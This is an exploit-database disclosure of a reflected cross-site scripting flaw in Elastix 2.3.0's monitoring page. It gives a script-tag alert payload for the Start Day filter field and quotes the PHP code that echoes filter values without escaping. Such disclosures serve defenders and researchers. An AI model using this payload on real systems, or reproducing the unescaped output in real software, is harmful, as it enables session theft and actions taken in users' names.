Elastix 2.3.0 Cross Site Scripting Vulnerability

# Author: cheki
# Exploit Title: Elastix 2.3.0 Cross Site Scripting
# Date: 05-12-2010
# Vendor or Software Link:http://www.elastix.org/
# Category:WebApp
# Version:2.3.0
# Price:free
# Contact: [email protected]
# Website: hacking.ge
# Greetings to: Anuka bolqvadze


==================================================================

EXPLOIT: https://localhost/index.php?menu=monitoring

Go to PBX>Moitoring and click on Show Filter then insert  "<script>alert("XSS");</script>"

into Start Day input and click enter. now you will get Cross Site Scripting error.


===================================================================
                      [Vulnerability]

[[email protected] /]# cat /var/www/html/modules/monitoring/index.php
===================================================================

$arrFormFilterMonitoring = createFieldFilter();
    $oFilterForm = new paloForm($smarty, $arrFormFilterMonitoring);

    $smarty->assign("INCOMING", _tr("Incoming"));
    $smarty->assign("OUTGOING", _tr("Outgoing"));
    $smarty->assign("QUEUE", _tr("Queue"));
    $smarty->assign("GROUP", _tr("Group"));
    $smarty->assign("SHOW", _tr("Show"));
    $_POST["filter_field"]           = $filter_field;
    $_POST["filter_value"]           = $filter;
    $_POST["filter_value_userfield"] = $filter_userfield;

    $oGrid->addFilterControl(_tr("Filter applied ")._tr("Start Date")." = ".$paramFilter['date_start'].", "._tr("End Date")." = ".$paramFilter['date_end'], $paramFilter,  array('date_start' => date("d M Y"),'date_end' => date("d M Y")),true);

    if($filter_field == "userfield"){
        $oGrid->addFilterControl(_tr("Filter applied ")." $nameFilterField = $nameFilterUserfield", $_POST, array('filter_field' => "src",'filter_value_userfield' => "incoming"));
    }
    else{
        $oGrid->addFilterControl(_tr("Filter applied ")." $nameFilterField = $filter", $_POST, array('filter_field' => "src","filter_value" => ""));
    }

    $htmlFilter = $oFilterForm->fetchForm("$local_templates_dir/filter.tpl","",$_POST);
    //end section filter
    $oGrid->showFilter(trim($htmlFilter));
    $content = $oGrid->fetchGrid();

================================================================

http://bugs.elastix.org/view.php?id=1278



#  0day.today [2018-01-03]  #